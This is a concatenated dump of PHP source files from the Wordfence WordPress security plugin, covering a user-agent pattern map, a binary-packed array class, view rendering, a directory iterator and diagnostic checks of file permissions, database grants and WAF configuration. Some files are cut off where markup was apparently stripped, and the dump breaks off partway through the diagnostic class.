:2721;s:6:"@2|4|2";i:2722;s:6:"@1|5|5";i:2723;s:6:"@4|3|3";i:2724;s:6:"@0|4|9";i:2725;s:6:"@0|4|2";i:2726;s:6:"@2|6|2";i:2727;s:6:"@0|4|8";i:2728;s:6:"@2|4|9";i:2729;s:6:"@1|4|8";i:2730;s:6:"@3|6|2";i:2731;s:6:"@3|4|2";i:2732;s:6:"@1|4|2";i:2733;s:6:"@2|4|8";i:2734;s:6:"@3|4|7";i:2735;s:6:"@4|4|7";i:2736;}', '@^Mozilla/(\d)\.0 \(.*Linux.*\) Gecko.* Firefox/(\d)(\d)\.0.*$@'=>'a:68:{s:6:"@5|5|0";i:2737;s:6:"@5|6|0";i:2738;s:6:"@4|5|8";i:2739;s:6:"@4|3|2";i:2740;s:6:"@5|3|8";i:2741;s:6:"@4|3|5";i:2742;s:6:"@4|6|3";i:2743;s:6:"@5|4|0";i:2744;s:6:"@4|5|0";i:2745;s:6:"@4|5|6";i:2746;s:6:"@5|4|3";i:2747;s:6:"@5|5|6";i:2749;s:6:"@5|5|3";i:2750;s:6:"@4|3|6";i:2751;s:6:"@5|5|8";i:2752;s:6:"@5|3|5";i:2753;s:6:"@5|4|6";i:2754;s:6:"@4|5|1";i:2755;s:6:"@5|3|0";i:2756;s:6:"@4|5|4";i:2757;s:6:"@5|3|6";i:2758;s:6:"@4|4|3";i:2759;s:6:"@4|4|6";i:2760;s:6:"@5|5|4";i:2761;s:6:"@4|4|1";i:2762;s:6:"@4|4|2";i:2763;s:6:"@4|5|3";i:2764;s:6:"@4|3|0";i:2765;s:6:"@4|3|4";i:2766;s:6:"@4|6|0";i:2767;s:6:"@5|5|9";i:2768;s:6:"@5|3|3";i:2769;s:6:"@4|4|8";i:2770;s:6:"@5|3|7";i:2771;s:6:"@5|4|4";i:2772;s:6:"@4|5|7";i:2773;s:6:"@4|4|7";i:2774;s:6:"@5|4|7";i:2775;s:6:"@5|4|2";i:2776;s:6:"@4|4|9";i:2777;s:6:"@5|4|1";i:2778;s:6:"@4|4|5";i:2779;s:6:"@5|5|2";i:2780;s:6:"@5|4|5";i:2781;s:6:"@5|5|7";i:2782;s:6:"@4|4|0";i:2783;s:6:"@4|5|2";i:2784;s:6:"@5|3|4";i:2785;s:6:"@5|3|9";i:2786;s:6:"@4|3|9";i:2787;s:6:"@5|6|1";i:2788;s:6:"@5|3|1";i:2789;s:6:"@4|5|9";i:2790;s:6:"@5|3|2";i:2791;s:6:"@4|3|3";i:2792;s:6:"@5|6|3";i:2793;s:6:"@5|4|9";i:2794;s:6:"@4|6|1";i:2795;s:6:"@5|5|5";i:2796;s:6:"@4|3|1";i:2797;s:6:"@5|4|8";i:2798;s:6:"@5|6|2";i:2799;s:6:"@4|6|2";i:2800;s:6:"@4|4|4";i:2801;s:6:"@4|5|5";i:2802;s:6:"@4|3|8";i:2803;s:6:"@4|3|7";i:2804;s:6:"@5|5|1";i:2805;}', '@^Mozilla/5\.0 \(.*Windows.*Trident/7\.0.*rv\:11\.0.*$@'=>2748, '@^Mozilla/5\.0 \(iPad.*CPU.*OS.* like Mac OS X.*\).*$@'=>2806, '@^Mozilla/5\.0 \(iPod.*CPU.*OS.* like Mac OS X.*\).*$@'=>2807, '@^Mozilla/(\d)\.0 \(.*Mac OS X.*\) Gecko.* Firefox/.*$@'=>'a:2:{s:2:"@4";i:2808;s:2:"@5";i:2809;}', '@^Mozilla/5\.0 \(.*Windows.*; Trident/8\.0.*\).*$@'=>2810, '@^Mozilla/(\d)\.0 \(.*Linux.*\) Gecko.* Firefox/.*$@'=>'a:2:{s:2:"@4";i:2811;s:2:"@5";i:2812;}', '@^Mozilla/5\.0 \(.*CPU.*OS.* like Mac OS X.*\).*$@'=>2813, '@^Firefox/(\d)(\d)\.0.*anonymized by Abelssoft.*$@'=>'a:34:{s:4:"@6|2";i:2814;s:4:"@3|4";i:2815;s:4:"@4|7";i:2816;s:4:"@4|9";i:2817;s:4:"@4|2";i:2818;s:4:"@3|2";i:2819;s:4:"@4|0";i:2820;s:4:"@3|3";i:2821;s:4:"@5|7";i:2822;s:4:"@3|7";i:2823;s:4:"@5|6";i:2824;s:4:"@3|5";i:2825;s:4:"@5|2";i:2826;s:4:"@4|8";i:2827;s:4:"@3|8";i:2828;s:4:"@5|5";i:2829;s:4:"@3|1";i:2830;s:4:"@5|3";i:2831;s:4:"@6|0";i:2832;s:4:"@5|9";i:2833;s:4:"@4|6";i:2834;s:4:"@4|4";i:2835;s:4:"@4|3";i:2836;s:4:"@5|1";i:2837;s:4:"@3|6";i:2838;s:4:"@6|3";i:2839;s:4:"@6|1";i:2840;s:4:"@4|5";i:2841;s:4:"@3|9";i:2842;s:4:"@5|8";i:2843;s:4:"@5|0";i:2844;s:4:"@3|0";i:2845;s:4:"@5|4";i:2846;s:4:"@4|1";i:2847;}', '@^Mozilla/5\.0 \(.*Mac OS X.*\) Gecko.*/(\d)(\d)\.0.*$@'=>'a:34:{s:4:"@5|4";i:2848;s:4:"@5|9";i:2849;s:4:"@3|3";i:2850;s:4:"@5|3";i:2851;s:4:"@4|0";i:2852;s:4:"@4|1";i:2853;s:4:"@4|5";i:2854;s:4:"@3|9";i:2855;s:4:"@6|3";i:2856;s:4:"@6|2";i:2857;s:4:"@4|7";i:2858;s:4:"@4|6";i:2859;s:4:"@3|2";i:2860;s:4:"@4|4";i:2861;s:4:"@3|0";i:2862;s:4:"@5|0";i:2863;s:4:"@4|9";i:2864;s:4:"@5|5";i:2865;s:4:"@3|7";i:2866;s:4:"@5|7";i:2867;s:4:"@3|6";i:2868;s:4:"@5|6";i:2869;s:4:"@3|5";i:2870;s:4:"@4|8";i:2871;s:4:"@5|8";i:2872;s:4:"@3|8";i:2873;s:4:"@6|1";i:2874;s:4:"@3|4";i:2875;s:4:"@3|1";i:2876;s:4:"@4|3";i:2877;s:4:"@6|0";i:2878;s:4:"@4|2";i:2879;s:4:"@5|2";i:2880;s:4:"@5|1";i:2881;}', '@^Mozilla/5\.0 \(.*Windows.*; Trident/7\.0.*$@'=>2882, '@^Firefox/.*anonymized by Abelssoft.*$@'=>2883, '@^Opera%20Coast/(\d)\.(\d)(\d).* CFNetwork/.*$@'=>'a:14:{s:6:"@4|5|1";i:2884;s:6:"@3|0|2";i:2885;s:6:"@3|0|1";i:2886;s:6:"@4|3|1";i:2887;s:6:"@3|2|1";i:2888;s:6:"@5|0|3";i:2889;s:6:"@5|0|2";i:2890;s:6:"@4|0|2";i:2891;s:6:"@4|2|1";i:2892;s:6:"@4|0|1";i:2893;s:6:"@4|3|0";i:2894;s:6:"@5|0|1";i:2895;s:6:"@4|0|3";i:2896;s:6:"@5|0|4";i:2897;}', '@^Opera%20Coast/(\d)\.(\d).* CFNetwork/.*$@'=>'a:6:{s:4:"@3|1";i:2898;s:4:"@4|4";i:2899;s:4:"@3|0";i:2900;s:4:"@4|1";i:2901;s:4:"@4|0";i:2902;s:4:"@4|5";i:2903;}', '@^Opera%20Coast/.* CFNetwork/.*$@'=>2905, '@^MobileSafari/.* CFNetwork/.*$@'=>2907, '@^Safari/10600\..* CFNetwork/.*$@'=>2908, '@^Safari/1(\d)6..\..* CFNetwork/.*$@'=>'a:4:{s:2:"@1";i:2909;s:2:"@2";i:2910;s:2:"@3";i:2911;s:2:"@0";i:2912;}', '@^Mozilla/(\d)\.0 \(.*MSIE 6\.0.*\).*$@'=>'a:2:{s:2:"@5";i:2914;s:2:"@4";i:2915;}', '@^Safari/(\d)5..\..* CFNetwork/.*$@'=>'a:2:{s:2:"@8";i:2916;s:2:"@9";i:2917;}', '@^Mozilla/(\d)\.0 \(.*MSIE 7\.0b.*$@'=>'a:2:{s:2:"@4";i:2979;s:2:"@5";i:2980;}', '@^Mozilla/(\d)\.0 \(.*MSIE 7\.0.*$@'=>'a:2:{s:2:"@5";i:3024;s:2:"@4";i:3025;}', '@^Safari/.* CFNetwork/.*$@'=>3068, '@^.*iPhone.*$@'=>3286, '@^.*iPod.*$@'=>3291, '@^.*iPad.*$@'=>3292, '@^.*$@'=>3294 ); wfArray.php000064400000003430147206764270006707 0ustar00keys = $keys; } public function push($val){ //associative array with keys that match those given to constructor foreach($this->keys as $key){ $this->data .= pack('N', wfUtils::strlen($val[$key])) . $val[$key]; } $this->size++; } public function shift(){ //If you alternately call push and shift you must periodically call collectGarbage() or ->data will keep growing $arr = array(); if(wfUtils::strlen($this->data) < 1){ return null; } if($this->shiftPtr == wfUtils::strlen($this->data)){ return null; } foreach($this->keys as $key){ $len = unpack('N', wfUtils::substr($this->data, $this->shiftPtr, 4)); $len = $len[1]; $arr[$key] = wfUtils::substr($this->data, $this->shiftPtr + 4, $len); $this->shiftPtr += 4 + $len; } if($this->shiftPtr == wfUtils::strlen($this->data)){ //garbage collection $this->data = ""; //we don't shorten with substr() because the assignment doubles peak mem $this->shiftPtr = 0; } $this->size--; return $arr; } public function collectGarbage(){ //only call collectGarbage if you're alternating between pushes and shifts and never emptying the array. //If you don't collect garbage then the data that is shifted is never freed $this->data = wfUtils::substr($this->data, $this->shiftPtr); //at this point memory usage doubles because of the = assignment (string copy is made), so try not to call collect garbage unless you have to. $this->shiftPtr = 0; } public function zero(){ //Rather call this instead of collect garbage because it's way more mem efficient. $this->data = ""; $this->shiftPtr = 0; $this->size = 0; } public function size(){ return $this->size; } }wfLockedOut.php000064400000023347147206764270007533 0ustar00 <?php esc_html_e('You are temporarily locked out', 'wordfence'); ?>



\s*/i', '', $contents); $contents = preg_replace('/^\s*/i', '', $contents); $contents = preg_replace('/

Documentation (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_LOCKED_OUT)), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()), 'span'=>array('class'=>array()))); ?>

.
.

wfSupportController.php000064400000060266147206764270011363 0ustar00 0) { return false; } //Only show to users installing after the release date of the version this was introduced if (WORDFENCE_FEEDBACK_EPOCH > wfConfig::get('satisfactionPromptInstallDate')) { return false; } //Don't show for at least 7 days post-install if ((time() - wfConfig::get('satisfactionPromptInstallDate')) < 86400 * 7) { return false; } return true; } public static function satisfactionPromptNotice() { ?>

      

_disclosureStates = wfConfig::get_ser('disclosureStates', array()); } /** * Returns whether the options block is in an active state. * * @param $key * @return bool */ public function isActive($key, $default = false) { if (!isset($this->_disclosureStates[$key])) { return $default; } return !!$this->_disclosureStates[$key]; } /** * Returns whether the options block has been set. * * @param $key * @return bool */ public function isConfigured($key) { return isset($this->_disclosureStates[$key]); } }wfView.php000064400000004335147206764270006550 0ustar00view_path = WORDFENCE_PATH . 'views'; $this->view = $view; $this->data = $data; } /** * @return string * @throws wfViewNotFoundException */ public function render() { $view = preg_replace('/\.{2,}/', '.', $this->view); $view_path = $this->view_path . '/' . $view . $this->view_file_extension; if (!file_exists($view_path)) { throw new wfViewNotFoundException(sprintf(/* translators: File path. */ __('The view %s does not exist or is not readable.', 'wordfence'), $view_path)); } extract($this->data, EXTR_SKIP); ob_start(); /** @noinspection PhpIncludeInspection */ include $view_path; return ob_get_clean(); } /** * @return string */ public function __toString() { try { return $this->render(); } catch (wfViewNotFoundException $e) { return defined('WP_DEBUG') && WP_DEBUG ? esc_html($e->getMessage()) : esc_html__('The view could not be loaded.', 'wordfence'); } } /** * @param $data * @return $this */ public function addData($data) { $this->data = array_merge($data, $this->data); return $this; } /** * @return array */ public function getData() { return $this->data; } /** * @param array $data * @return $this */ public function setData($data) { $this->data = $data; return $this; } /** * @return string */ public function getView() { return $this->view; } /** * @param string $view * @return $this */ public function setView($view) { $this->view = $view; return $this; } /** * Prevent POP */ public function __wakeup() { $this->view_path = WORDFENCE_PATH . 'views'; $this->view = null; $this->data = array(); $this->view_file_extension = '.php'; } } class wfViewNotFoundException extends Exception { }email_genericAlert.php000064400000002616147206764270011054 0ustar00 -- wfDirectoryIterator.php000064400000003621147206764270011311 0ustar00directory = $directory; $this->directory_limit = $max_files_per_directory; $this->max_iterations = $max_iterations; } public function run() { $this->iterations = 0; $this->scan($this->directory); } protected function scan($dir) { $dir = rtrim($dir, DIRECTORY_SEPARATOR); $handle = opendir($dir); $file_count = 0; while ($file = readdir($handle)) { if ($file == '.' || $file == '..') { continue; } $file_path = $dir . '/' . $file; $real_path = realpath($file_path); if (isset($this->directories_processed[$real_path]) || isset($this->directories_entered[$real_path])) { //Already processed or being processed, possibly a recursive symlink continue; } else if (is_dir($file_path)) { $this->directories_entered[$real_path] = 1; if ($this->scan($file_path) === false) { closedir($handle); return false; } $this->directories_processed[$real_path] = 1; unset($this->directories_entered[$real_path]); } else { if ($this->file($file_path) === false) { closedir($handle); return false; } } if (++$file_count >= $this->directory_limit) { break; } if (++$this->iterations >= $this->max_iterations) { closedir($handle); return false; } } closedir($handle); return true; } } wfDiagnostic.php000064400000204776147206764270007735 0ustar00get_results("SHOW GRANTS FOR current_user()", ARRAY_N); foreach ($rows as $row) { preg_match("/GRANT (.+) ON (.+) TO/", $row[0], $matches); foreach (explode(",", $matches[1]) as $permission) { $permission = str_replace(" ", "_", trim(strtolower($permission))); if ($permission === 'all_privileges') { foreach ($this as $key => $value) { $this->$key = true; } break 2; } if (property_exists($this, $permission)) $this->$permission = true; } } } } class wfDiagnostic { protected $description = false; //Defined in the constructor to allow for localization protected $results = array(); public function __construct() { require(dirname(__FILE__) . '/wfVersionSupport.php'); /** @var $wfPHPMinimumVersion */ $this->description = array( 'Wordfence Status' => array( 'description' => __('General information about the Wordfence installation.', 'wordfence'), 'tests' => array( 'wfVersion' => __('Wordfence Version', 'wordfence'), 'geoIPVersion' => __('GeoIP Version', 'wordfence'), 'cronStatus' => __('Cron Status', 'wordfence'), ), ), 'Filesystem' => array( 'description' => __('Ability to read/write various files.', 'wordfence'), 'tests' => array( 'isPluginReadable' => __('Checking if web server can read from ~/plugins/wordfence', 'wordfence'), 'isPluginWritable' => __('Checking if web server can write to ~/plugins/wordfence', 'wordfence'), 'isWAFReadable' => __('Checking if web server can read from ~/wp-content/wflogs', 'wordfence'), 'isWAFWritable' => __('Checking if web server can write to ~/wp-content/wflogs', 'wordfence'), ), ), 'Wordfence Config' => array( 'description' => __('Ability to save Wordfence settings to the database.', 'wordfence'), 'tests' => array( 'configWritableSet' => __('Checking basic config reading/writing', 'wordfence'), 'configWritableSetSer' => __('Checking serialized config reading/writing', 'wordfence'), ), ), 'Wordfence Firewall' => array( 'description' => __('Current WAF configuration.', 'wordfence'), 'tests' => array( 'wafAutoPrepend' => __('WAF auto prepend active', 'wordfence'), 'wafStorageEngine' => __('Configured WAF storage engine (WFWAF_STORAGE_ENGINE)', 'wordfence'), 'wafActiveStorageEngine' => __('Active WAF storage engine', 'wordfence'), 'wafLogPath' => __('WAF log path', 'wordfence'), 'wafSubdirectoryInstall' => __('WAF subdirectory installation', 'wordfence'), 'wafAutoPrependFilePath' => __('wordfence-waf.php path', 'wordfence'), 'wafFilePermissions' => __('WAF File Permissions', 'wordfence'), 'wafRecentlyRemoved' => __('Recently removed wflogs files', 'wordfence'), 'wafLoaded' => __('WAF Loaded Successfully', 'wordfence'), 'wafAutoPrependHtaccess' => __('WAF .htaccess contents', 'wordfence'), 'wafAutoPrependUserIni' => __('WAF .user.ini contents', 'wordfence'), 'wafAutoPrependHtaccessOther' => __('.htaccess other auto prepend', 'wordfence'), 'wafAutoPrependUserIniOther' => __('.user.ini other auto prepend', 'wordfence'), ), ), 'MySQL' => array( 'description' => __('Database version and privileges.', 'wordfence'), 'tests' => array( 'databaseVersion' => __('Database Version', 'wordfence'), 'userCanDelete' => __('Checking if MySQL user has DELETE privilege', 'wordfence'), 'userCanInsert' => __('Checking if MySQL user has INSERT privilege', 'wordfence'), 'userCanUpdate' => __('Checking if MySQL user has UPDATE privilege', 'wordfence'), 'userCanSelect' => __('Checking if MySQL user has SELECT privilege', 'wordfence'), 'userCanCreate' => __('Checking if MySQL user has CREATE TABLE privilege', 'wordfence'), 'userCanAlter' => __('Checking if MySQL user has ALTER TABLE privilege', 'wordfence'), 'userCanDrop' => __('Checking if MySQL user has DROP privilege', 'wordfence'), 'userCanTruncate' => __('Checking if MySQL user has TRUNCATE privilege', 'wordfence'), ) ), 'PHP Environment' => array( 'description' => __('PHP version, important PHP extensions.', 'wordfence'), 'tests' => array( 'phpVersion' => array('raw' => true, 'value' => wp_kses(sprintf(/* translators: 1. PHP version, 2. Support URL. */ __('PHP version >= PHP %s
(WordPress requirements) (opens in new tab)', 'wordfence'), $wfPHPMinimumVersion, wfSupportController::esc_supportURL(wfSupportController::ITEM_VERSION_PHP)), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array(), 'class'=>array()), 'span'=>array('class'=>array())))), 'processOwner' => __('Process Owner', 'wordfence'), 'hasOpenSSL' => __('Checking for OpenSSL support', 'wordfence'), 'openSSLVersion' => __('Checking OpenSSL version', 'wordfence'), 'hasCurl' => __('Checking for cURL support', 'wordfence'), 'curlFeatures' => __('cURL Features Code', 'wordfence'), 'curlHost' => __('cURL Host', 'wordfence'), 'curlProtocols' => __('cURL Support Protocols', 'wordfence'), 'curlSSLVersion' => __('cURL SSL Version', 'wordfence'), 'curlLibZVersion' => __('cURL libz Version', 'wordfence'), 'displayErrors' => array('raw' => true, 'value' => wp_kses(__('Checking display_errors
(Should be disabled on production servers (opens in new tab))', 'wordfence'), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()), 'span'=>array('class'=>array()), 'em'=>array(), 'code'=>array(), 'br'=>array()))), ) ), 'Connectivity' => array( 'description' => __('Ability to connect to the Wordfence servers and your own site.', 'wordfence'), 'tests' => array( 'connectToServer2' => __('Connecting to Wordfence servers (https)', 'wordfence'), 'connectToSelf' => __('Connecting back to this site', 'wordfence'), 'connectToSelfIpv6' => array('raw' => true, 'value' => wp_kses(sprintf(__('Connecting back to this site via IPv6 (not required; failure to connect may not be an issue on some sites) (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_DIAGNOSTICS_IPV6)), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array(), 'class'=>array()), 'span'=>array('class'=>array())))), 'serverIP' => __('IP(s) used by this server', 'wordfence'), ) ), 'Time' => array( 'description' => __('Server time accuracy and applied offsets.', 'wordfence'), 'tests' => array( 'wfTime' => __('Wordfence Network Time', 'wordfence'), 'serverTime' => __('Server Time', 'wordfence'), 'wfTimeOffset' => __('Wordfence Network Time Offset', 'wordfence'), 'ntpTimeOffset' => __('NTP Time Offset', 'wordfence'), 'ntpStatus' => __('NTP Status', 'wordfence'), 'timeSourceInUse' => __('TOTP Time Source', 'wordfence'), 'wpTimeZone' => __('WordPress Time Zone', 'wordfence'), ), ), ); foreach ($this->description as $title => $tests) { $this->results[$title] = array( 'description' => $tests['description'], ); foreach ($tests['tests'] as $name => $description) { if (!method_exists($this, $name)) { continue; } $result = $this->$name(); if (is_bool($result)) { $result = array( 'test' => $result, 'message' => $result ? 'OK' : 'FAIL', ); } $result['label'] = $description; $result['name'] = $name; $this->results[$title]['results'][] = $result; } } } public function getResults() { return $this->results; } public function wfVersion() { return array('test' => true, 'message' => WORDFENCE_VERSION . ' (' . WORDFENCE_BUILD_NUMBER . ')'); } public function geoIPVersion() { return array('test' => true, 'infoOnly' => true, 'message' => wfUtils::geoIPVersion()); } public function cronStatus() { $cron = _get_cron_array(); $overdue = 0; foreach ($cron as $timestamp => $values) { if (is_array($values)) { foreach ($values as $cron_job => $v) { if (is_numeric($timestamp)) { if ((time() - 1800) > $timestamp) { $overdue++; } } } } } return array('test' => true, 'infoOnly' => true, 'message' => $overdue ? sprintf(/* translators: Number of jobs. */ _n('%d Job Overdue', '%d Jobs Overdue', $overdue, 'wordfence'), $overdue) : __('Normal', 'wordfence')); } public function geoIPError() { $error = wfUtils::last_error('geoip'); return array('test' => true, 'infoOnly' => true, 'message' => $error ? $error : __('None', 'wordfence')); } public function isPluginReadable() { return is_readable(WORDFENCE_PATH); } public function isPluginWritable() { return is_writable(WORDFENCE_PATH); } public function isWAFReadable() { if (!is_readable(WFWAF_LOG_PATH)) { if (defined('WFWAF_STORAGE_ENGINE') && WFWAF_STORAGE_ENGINE == 'mysqli') { return array('test' => false, 'infoOnly' => true, 'message' => __('No files readable', 'wordfence')); } return array('test' => false, 'message' => __('No files readable', 'wordfence')); } $files = array( WFWAF_LOG_PATH . 'attack-data.php', WFWAF_LOG_PATH . 'ips.php', WFWAF_LOG_PATH . 'config.php', WFWAF_LOG_PATH . 'rules.php', ); $unreadable = array(); foreach ($files as $f) { if (!file_exists($f)) { $unreadable[] = sprintf(__('File "%s" does not exist', 'wordfence'), basename($f)); } else if (!is_readable($f)) { $unreadable[] = sprintf(/* translators: File path. */ __('File "%s" is unreadable', 'wordfence'), basename($f)); } } if (count($unreadable) > 0) { if (defined('WFWAF_STORAGE_ENGINE') && WFWAF_STORAGE_ENGINE == 'mysqli') { return array('test' => false, 'infoOnly' => true, 'message' => implode(', ', $unreadable)); } return array('test' => false, 'message' => implode(', ', $unreadable)); } return true; } public function isWAFWritable() { if (!is_writable(WFWAF_LOG_PATH)) { if (defined('WFWAF_STORAGE_ENGINE') && WFWAF_STORAGE_ENGINE == 'mysqli') { return array('test' => false, 'infoOnly' => true, 'message' => __('No files writable', 'wordfence')); } return array('test' => false, 'message' => __('No files writable', 'wordfence')); } $files = array( WFWAF_LOG_PATH . 'attack-data.php', WFWAF_LOG_PATH . 'ips.php', WFWAF_LOG_PATH . 'config.php', WFWAF_LOG_PATH . 'rules.php', ); $unwritable = array(); foreach ($files as $f) { if (!file_exists($f)) { $unwritable[] = sprintf(/* translators: File name. */__('File "%s" does not exist', 'wordfence'), basename($f)); } else if (!is_writable($f)) { $unwritable[] = sprintf(/* translators: File name. */__('File "%s" is unwritable', 'wordfence'), basename($f)); } } if (count($unwritable) > 0) { if (defined('WFWAF_STORAGE_ENGINE') && WFWAF_STORAGE_ENGINE == 'mysqli') { return array('test' => false, 'infoOnly' => true, 'message' => implode(', ', $unwritable)); } return array('test' => false, 'message' => implode(', ', $unwritable)); } return true; } public function databaseVersion() { global $wpdb; $version = $wpdb->get_var("SELECT VERSION()"); return array('test' => true, 'message' => $version); } public function userCanInsert() { return wfGrant::get()->insert; } public function userCanUpdate() { return wfGrant::get()->update; } public function userCanDelete() { return wfGrant::get()->delete; } public function userCanSelect() { return wfGrant::get()->select; } public function userCanCreate() { return wfGrant::get()->create; } public function userCanDrop() { return wfGrant::get()->drop; } public function userCanTruncate() { return wfGrant::get()->drop && wfGrant::get()->delete; } public function userCanAlter() { return wfGrant::get()->alter; } public function phpVersion() { require(dirname(__FILE__) . '/wfVersionSupport.php'); /** @var $wfPHPMinimumVersion */ return array( 'test' => version_compare(phpversion(), $wfPHPMinimumVersion, '>='), 'message' => phpversion(), ); } public function configWritableSet() { global $wpdb; $show = $wpdb->hide_errors(); $val = md5(time()); wfConfig::set('configWritingTest', $val, wfConfig::DONT_AUTOLOAD); $testVal = wfConfig::get('configWritingTest'); $wpdb->show_errors($show); return array( 'test' => ($val === $testVal), 'message' => __('Basic config writing', 'wordfence') ); } public function configWritableSetSer() { global $wpdb; $show = $wpdb->hide_errors(); $val = md5(time()); wfConfig::set_ser('configWritingTest_ser', array($val), false, wfConfig::DONT_AUTOLOAD); $testVal = @array_shift(wfConfig::get_ser('configWritingTest_ser', array(), false)); $wpdb->show_errors($show); return array( 'test' => ($val === $testVal), 'message' => __('Serialized config writing', 'wordfence') ); } public function wafAutoPrepend() { return array('test' => true, 'infoOnly' => true, 'message' => (defined('WFWAF_AUTO_PREPEND') && WFWAF_AUTO_PREPEND ? __('Yes', 'wordfence') : __('No', 'wordfence'))); } public function wafAutoPrependHtaccess() { $htaccessPath = wfWAFAutoPrependHelper::getHtaccessPath(); if (!file_exists($htaccessPath)) { return array('test' => true, 'infoOnly' => true, 'message' => __('(.htaccess not present)', 'wordfence')); } else if (!is_readable($htaccessPath)) { return array('test' => true, 'infoOnly' => true, 'message' => __('(.htaccess not readable)', 'wordfence')); } $htaccessContents = file_get_contents($htaccessPath); $section = wfWAFAutoPrependHelper::getHtaccessSectionContent($htaccessContents); if ($section === false) { return array('test' => true, 'infoOnly' => true, 'message' => __('(not set)', 'wordfence')); } $snippet = wfUtils::pregExtract("/auto_prepend_file\s+['\"]?[^'\"]*['\"]?/", $section); return array('test' => true, 'infoOnly' => true, 'message' => $snippet, 'detail' => array('escaped' => nl2br(esc_html($section)), 'textonly' => $section)); } public function wafAutoPrependHtaccessOther() { $htaccessPath = wfWAFAutoPrependHelper::getHtaccessPath(); if (!file_exists($htaccessPath)) { return array('test' => true, 'infoOnly' => true, 'message' => __('(.htaccess not present)', 'wordfence')); } else if (!is_readable($htaccessPath)) { return array('test' => true, 'infoOnly' => true, 'message' => __('(.htaccess not readable)', 'wordfence')); } $htaccessContents = file_get_contents($htaccessPath); $section = wfWAFAutoPrependHelper::getHtaccessSectionContent($htaccessContents); if ($section !== false) { $htaccessContents = str_replace($section, '', $htaccessContents); } $snippet = wfUtils::pregExtract("/auto_prepend_file\s+['\"]?[^'\"]*['\"]?/", $htaccessContents, true); return array('test' => true, 'infoOnly' => true, 'message' => ($snippet === false ? __('(not present)', 'wordfence') : trim($snippet))); } public function wafAutoPrependUserIni() { $userIniPath = wfWAFAutoPrependHelper::getUserIniPath(); if (!file_exists($userIniPath)) { return array('test' => true, 'infoOnly' => true, 'message' => __('(.user.ini not present)', 'wordfence')); } else if (!is_readable($userIniPath)) { return array('test' => true, 'infoOnly' => true, 'message' => __('(.user.ini not readable)', 'wordfence')); } $userIniContents = file_get_contents($userIniPath); $section = wfWAFAutoPrependHelper::getUserIniSectionContent($userIniContents); if ($section === false) { return array('test' => true, 'infoOnly' => true, 'message' => __('(not set)', 'wordfence')); } $snippet = wfUtils::pregExtract("/auto_prepend_file\s*=\s*['\"]?[^'\"]*['\"]?/", $section); return array('test' => true, 'infoOnly' => true, 'message' => $snippet, 'detail' => $section); } public function wafAutoPrependUserIniOther() { $userIniPath = wfWAFAutoPrependHelper::getUserIniPath(); if (!file_exists($userIniPath)) { return array('test' => true, 'infoOnly' => true, 'message' => __('(.user.ini not present)', 'wordfence')); } else if (!is_readable($userIniPath)) { return array('test' => true, 'infoOnly' => true, 'message' => __('(.user.ini not readable)', 'wordfence')); } $userIniContents = file_get_contents($userIniPath); $section = wfWAFAutoPrependHelper::getUserIniSectionContent($userIniContents); if ($section !== false) { $userIniContents = str_replace($section, '', $userIniContents); } $snippet = wfUtils::pregExtract("/auto_prepend_file\s*=\s*['\"]?[^'\"]*['\"]?/", $userIniContents, true); return array('test' => true, 'infoOnly' => true, 'message' => ($snippet === false ? __('(not present)', 'wordfence') : trim($snippet))); } public function wafStorageEngine() { return array('test' => true, 'infoOnly' => true, 'message' => (defined('WFWAF_STORAGE_ENGINE') ? WFWAF_STORAGE_ENGINE : __('(default)', 'wordfence'))); } private static function getStorageEngineDescription($storageEngine) { if ($storageEngine === null) { return __('None', 'wordfence'); } else if (method_exists($storageEngine, 'getDescription')) { return $storageEngine->getDescription(); } else { return __('Unknown (mixed plugin version)', 'wordfence'); } } public function wafActiveStorageEngine() { return array('test' => true, 'infoOnly' => true, 'message' => self::getStorageEngineDescription(wfWAF::getSharedStorageEngine())); } public function wafLogPath() { $logPath = __('(not set)', 'wordfence'); if (defined('WFWAF_LOG_PATH')) { $logPath = WFWAF_LOG_PATH; if (strpos($logPath, ABSPATH) === 0) { $logPath = '~/' . substr($logPath, strlen(ABSPATH)); } } return array('test' => true, 'infoOnly' => true, 'message' => $logPath); } public function wafSubdirectoryInstall() { return array('test' => true, 'infoOnly' => true, 'message' => (defined('WFWAF_SUBDIRECTORY_INSTALL') && WFWAF_SUBDIRECTORY_INSTALL ? __('Yes', 'wordfence') : __('No', 'wordfence'))); } public function wafAutoPrependFilePath() { $path = wordfence::getWAFBootstrapPath(); if (!file_exists($path)) { $path = ''; } return array('test' => true, 'infoOnly' => true, 'message' => $path); } public function wafFilePermissions() { if (defined('WFWAF_LOG_FILE_MODE')) { return array('test' => true, 'infoOnly' => true, 'message' => sprintf(/* translators: Unix file permissions in octal (example 0777). */ __('%s - using constant', 'wordfence'), str_pad(decoct(WFWAF_LOG_FILE_MODE), 4, '0', STR_PAD_LEFT))); } if (defined('WFWAF_LOG_PATH')) { $template = rtrim(WFWAF_LOG_PATH, '/') . '/template.php'; if (file_exists($template)) { $stat = @stat($template); if ($stat !== false) { $mode = $stat[2]; $updatedMode = 0600; if (($mode & 0020) == 0020) { $updatedMode = $updatedMode | 0060; } return array('test' => true, 'infoOnly' => true, 'message' => sprintf(/* translators: Unix file permissions in octal (example 0777). */ __('%s - using template', 'wordfence'), str_pad(decoct($updatedMode), 4, '0', STR_PAD_LEFT))); } } } return array('test' => true, 'infoOnly' => true, 'message' => __('0660 - using default', 'wordfence')); } public function wafRecentlyRemoved() { $removalHistory = wfConfig::getJSON('diagnosticsWflogsRemovalHistory', array()); if (empty($removalHistory)) { return array('test' => true, 'infoOnly' => true, 'message' => __('None', 'wordfence')); } $message = array(); foreach ($removalHistory as $r) { $m = wfUtils::formatLocalTime('M j, Y', $r[0]) . ': (' . count($r[1]) . ')'; $r[1] = array_filter($r[1], array($this, '_filterOutNestedEntries')); $m .= ' ' . implode(', ', array_slice($r[1], 0, 5)); if (count($r[1]) > 5) { $m .= ', ...'; } $message[] = $m; } return array('test' => true, 'infoOnly' => true, 'message' => implode("\n", $message)); } public function wafLoaded() { $waf = wfWAF::getInstance(); return array( 'test' => true, 'infoOnly' => true, 'message' => $waf !== null && ($waf instanceof wfWAFWordPress) ? __('Yes', 'wordfence') : __('No', 'wordfence') ); } private function _filterOutNestedEntries($a) { return !is_array($a); } public function processOwner() { 